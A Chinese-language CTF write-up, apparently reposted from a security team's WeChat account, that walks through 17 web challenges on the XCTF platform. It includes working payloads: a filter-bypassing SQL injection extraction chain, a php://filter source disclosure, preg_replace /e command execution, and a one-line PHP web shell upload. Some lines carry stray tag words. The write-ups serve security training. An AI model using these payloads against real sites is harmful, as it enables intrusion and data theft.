玩法介紹
javascript
攻防世界答題模塊是一款提高我的信息安全水平的益智趣味答題,用戶可任意選擇題目類型進行答題。php
第一題:html
Burp攔截後對id進行爆破。前端
-----------------------------------------------------------------------------java
第二題:python
Burp攔截後對search參數進行sql注入。linux
-----------------------------------------------------------------------------nginx
第三題:git
掃出了.git,用GitHack把站點扒下,對index.php審查,$file中沒有作處理和驗證,能夠用system()構造payload,web
-----------------------------------------------------------------------------
第四題:
下載附件,文本打開,修改後綴爲html以html方式打開,發現是亂碼,用view-source審查前端元素,用alert替代eval,得到源碼,複製代碼到瀏覽器控制檯運行,得到flag。
-----------------------------------------------------------------------------
第五題:
註冊登錄進去,發現有上傳點,傳php小馬,發現沒法突破。
文件名稱存在注入,聯合查詢select,union被過濾,雙寫可繞過,使用conv進制轉換成10禁止,一次獲取字串的12位,用substr截取12.
回顯數字131277325825392轉化爲字符串位web_up爲部分庫名
再把後面的庫名用substr(hex())查出來,轉化後拼接後發現庫名爲web_upload
用雙寫繞過編寫exp爲:'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),1,12),16,10))+'.jpg
獲得回顯爲114784820031327轉化爲字符串爲hello_
'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),13,12),16,10))+'.jpg
獲得回顯爲112615676665705轉化爲字符串爲flag_i
'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),25,12),16,10))+'.jpg
回顯爲126853610566245轉化爲字符串爲s_here
獲得表名:hello_flag_is_here
找列:
'+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg
回顯爲115858377367398轉化爲字符串爲i_am_f
Exp修改成à)),13,12),16,10))
回顯爲7102823轉化爲字符串爲lag
合併列名爲i_am_flag
根據庫表列名構造語句:
'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg
獲得回顯爲36427215695199
轉化爲字符串爲!!_@m_
'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg
回顯爲92806431727430
轉化爲字符串爲Th.e_F
'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg
回顯爲560750951
轉化爲字符串爲!lag
拼接爲!!_@m_ Th.e_F!lag
-----------------------------------------------------------------------------
第六題:
7kbscan掃描後發現index.phps得到部分源碼,對源碼進行分析,發現id在代碼中進行了url編碼,嘗試用js函數」a」.charCodeAt進行編碼,發現不行,看了下writeup發現瀏覽器也會對url再進行一次url編碼,應該再進行一次編碼進行繞過。
?id=%2561dmin
-----------------------------------------------------------------------------
第七題:
題目php反序列,查看源碼,我對php反序列不是很懂,發現裏面調用了function _wakeup(),百度發現wakeup()是反序列的危險函數,找payload,調試payload。
-----------------------------------------------------------------------------
第八題:
使用%80特殊ascii符號,由於url編碼是16進制的,80就是128,ascii容許0-127,使web程序產生報錯,根據報錯信息得知程序是python的django web寫的,使用php curl,@能夠訪問配置文件。
訪問配置文件@/opt/api/api/settings.py,搜索databases得到數據庫信息,並訪問,在數據庫中搜索ctf,得到flag。
-----------------------------------------------------------------------------
第九題:
進入題目,題目惟一有用的線索就是view-source:url後發現一個?Page=index,點擊連接發現有異常(算不算小提示??)
根據php僞協議構造出?Page=php://filter/read=convert.base64-encode/resource=index.php
將內容base64解碼得出index.php源碼,源碼中發現函數preg-replace()函數,/e 修正符使 preg_replace() 將 replacement 參數看成 PHP 代碼
Burp修改xff的值且傳參中使用php函數passthru()調用系統命令,而後開始一步步找flag
利用linux的find找出相關路徑
Cd進去
Cat查看flag
-----------------------------------------------------------------------------
第十題:
查看源碼得知,題目使用unicorn.js,utill.js,secret.js,分析一下發現unicorn.js是一個模擬cpu的庫,得到password過程 test_pw(enc_pw(input), get_pw())
發現get_pw()是固定值,那咱們就從test_pw()和enc_pw()入手獲得正確的input,觀察enc_pw()函數發現寫入內存指令在於_[o2[a]]
爲了得知enc_pw()對內存的操做,模擬enc_pw()構造AMD1() 函數,再將output轉換成16進制,
0800a0e10910a0e10a20a0e10030a0e30050a0e30040d0e5010055e30100001a036003e2064084e0064084e2015004e20040c1e5010080e2011081e2013083e2020053e1f2ffffba0000a0e30010a0e30020a0e30030a0e30040a0e30050a0e30060a0e30070a0e30090a0e300a0a0e3
轉換成彙編指令
分析得知,enc_ps()對內存的操做以下:
初始化輸入密碼地址及長度地址->初始化輸出結果地址,技術去和奇偶校驗寄存器->將輸入密碼的地址位數據傳入中間數據->校驗輸入密碼上一位數據的奇偶性-->奇數:截取計數器二進制最後兩位與中間數據相加---------------------------------|
|->中間數據加6->更新奇偶校驗寄存器->將中間數據傳入結果地址中->輸入地址加一結果存儲地址加一 技術去加一->計數器是否小於輸入密碼長度?-->否->結束
|->是->將輸入密碼的地址位數據傳入中間數據->…
爲了得知test_pw()對內存的操做,,模擬getARM1()函數編寫getARM1(),用toHex函數將output轉換爲16進制,
分析得知,大概判斷流程以下:
1.傳入輸入密碼和隱藏密碼的基址位數據
2.將輸入密碼加5
3.判斷循環次數奇偶性,若爲奇數將傳入密碼減3並比較傳入密碼與隱藏密碼是否相等,若爲偶數直接比較傳入密碼與隱藏密碼是否相等
4.若是傳入密碼與隱藏密碼不相等則至關於直接退出,若是相等,基址加一,計數器加一
5.判斷計數器是否小於輸出密碼的長度,若小於直接回到1若不小於則至關於直接退出
逆向函數不會寫,看了下網上的writeup
1.test_pw()的逆向函數:
function findReqR6(){ var pw = stoh("XYzaSAAX_PBssisodjsal_sSUVWZYYYb"); //從get_pw()的到的返回值 var required = new Array(); for(var i = 0 ; i < pw.length; i ++ ){ var a = pw[i]; a = a - 5; //原流程加5 if(i & 1 == 1){ a = a + 3; // 原流程減3 } required[i] = a; } return required;}htos(findRqR6())返回enc_pw(user_input)的字符串轉換結果返回值:SWu_N?<VZN=qngnm_hn_g]nQPTRXTWT`
2.構造enc_pw()函數的逆向函數獲取正確的UserInput
function reverseEnc(argarray){ var test = 0; var output = new Array(); for(var i = 0 ; i < argarray.length ; i++){ var x = argarray[i]; if(test == 1){ var sub = (i & 3); x = x - sub; //原流程加上相與值. } x = x - 6; //原流程加6 test = (argarray[i] & 1); output[i] = x; } return output;}
htos(reverseEnc(findReqR6()))返回正確的userinput
-----------------------------------------------------------------------------
第十一題:
進去登錄註冊發現admin已經註冊,bp抓包,分析user的值編碼或者加密,發現user的值是{uid:username}的格式進行md5加密的,以下圖
對各個功能點進行測試,發現personal功能存在越權操做,咱們得知管理員username=admin,假設admin的uid=1,修改uid的值爲1和user的值查看相應的信息。
登出,根據剛查看的信息修改管理員密碼,而後登陸
點擊管理模塊,報IP錯誤,發現修改xff的值能進行繞過
訪問提示的index.php?module=filemanage&do=???,分析???是啥,發現upload,上傳php小馬,被攔截,合成圖片馬,被攔截,gif頭截斷也被攔截,服務器使nginx1.12.2,不存在解析漏洞
bp抓包,修改content-type參數和修改文件後綴名嘗試繞過,發現,alert的內容有所不一樣,然而仍是沒法獲得什麼。
最後嘗試用<script language=」php」>進行繞過,得出flag
-----------------------------------------------------------------------------
第十二題:
進去登錄註冊,沒有發現常規注入和robots、git、svn等泄露,何種功能點測試一遍,發如今發佈的貼子的路徑存在文件穿越漏洞,修改post的值可訪問泄露的路徑
發現源碼泄露,發現一處地方有異常,源碼解讀發現若是用戶爲admin便可得知$get_flag1的值(可能存在flag2???),且從源碼中得知存在users/文件夾,
訪問users文件夾,發現裏面泄露了用戶的cookie
咱們找出admin的cookie而後使用cookieManager修改username和cookie的值登陸admin
登錄admin
發現flag1就在頁尾(只有一半,咱們等下去找flag2)
//代碼審計搞起來哎!(@_@眼睛都花了)
發現function reply()中,$(username)>$(next_file)這裏username寫在了next_file(評論文件的內容)中,且得知了post的路徑,題目中的wtf文件不是通常的web文件,不過它能被服務器解析,須要$定義參數,根據用戶名參數咱們能夠在users_lookup路徑下構造wtf後綴的shell
傳不上shell,發現若是路徑不加%09,shell會被當作目錄解析
構造用戶名參數=${find -iname get_flag2},發現用戶名被註冊
構造用戶名${find,-iname,get_flag2},路徑加上%09繞過
訪問shell,獲得一個路徑
根據路徑構造用戶名=$/usr/bin/get_flag2,繼續上傳shell,訪問shell,獲得flag2
-----------------------------------------------------------------------------
第十三題:
分析源碼,往上推算程序,編寫程序,獲得flag。
正向思路-->反轉$str-->反轉後的$str的每一個字符ascii碼+1再轉換成unicode等正常編碼-->通過以上操做的$str通過base64編碼再反轉字符串再通過str_rot13編碼-->$miwen
-----------------------------------------------------------------------------
第十四題:
進去發現web中有perl文件,在/cgi-bin/file.pl中存在上傳功能,會把上傳的文件以文本形式讀出來
沒啥頭緒,看了一下博客和wp,
猜想文件上傳的代碼爲以下圖
param()會返回一個列表文件可是隻有第一個文件會被放入到下面的file變量中,傳入ARGV文件,perl會將文件名讀出來
猜想flag在目錄下,獲得flag
-----------------------------------------------------------------------------
第十五題:
進去,發現view-source:裏面有源碼
分析源碼
發現要先用get傳遞?id參數使id的浮點數不等於1且最後一位爲9,就會變成admin的session
這裏咱們傳遞?Id=0%209
在admin的session下,傳遞con和file參數(con就是文件內容=o=,想了好久看writeup才知道的),且匹配正則成功後傳到uploaded文件夾下,
構造參數con=<?php passthru($_GET[bash]);?>&file=../1.php/.
File使用了/.繞過正則,正則過濾一次後綴,咱們再構造一次 . 就行了。
得出flag
-----------------------------------------------------------------------------
第十六題:
進入網站,只有一個倒計時js,url猜想,根據標題和題目猜想出zhuanxvlogin,找到登陸頁
Burp截包,發現傳輸流量過程有一個bg.jpg背景圖,複製連接能夠進行下載
Github搜索zhuanxv能夠在備忘錄中發現web是java寫的
已知javaweb的文件分佈如->
利用bg.jpg的下載連接進行文件包含找web.xml
發現web是用struts寫的,咱們繼續找struts的配置文件struts.xml
找到一個/WEB-INF/classes/下的 UserloginAction.class DownloadAction.class AdminAction.class文件,利用bg.jpg文件包含連接進行下載,修改後綴名等操做
接下來,咱們找webapplication的配置文件applicationContext.xml
發現web的操做數據庫層框架Hibernate和數據庫用戶名和密碼都爲root,還有UserServiceImplUserDaoImpl兩個class文件,進行下載
利用java反編譯軟件jd-gui查看源碼
發現程序沒有對name進行正則校驗,且程序sql語句沒有預編譯,存在sql注入
注入須要結合Hibernate的子查詢特性進行(構造不出exp,Hibernate沒學過,上網找的exp),搞出exp,運行,獲得flag
-----------------------------------------------------------------------------
第十七題:
進去index.php發現有個連接跳轉下載,發現連接地址有ssrf字符(提示?),下載是一個pdf文件
上目錄掃描發現downloads/,secret/路徑
按照文件名推算,secret_debug.php應該是secret.php的調試文件,沒法訪問debug.php
Secret.php是一個註冊功能點
利用secret.php的註冊連接後半段和ssrf組合連接訪問secret_debug.php發現404,程序把請求看成是pdf訪問請求,利用urlencode把&編碼一下能夠繞過。
用linux的curl訪問
程序出錯,發現sql注入
編寫exp
手握日月摘星辰,安全路上永不止步。
- Khan攻防安全實驗室
本文分享自微信公衆號 - Khan安全團隊(KhanCJSH)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。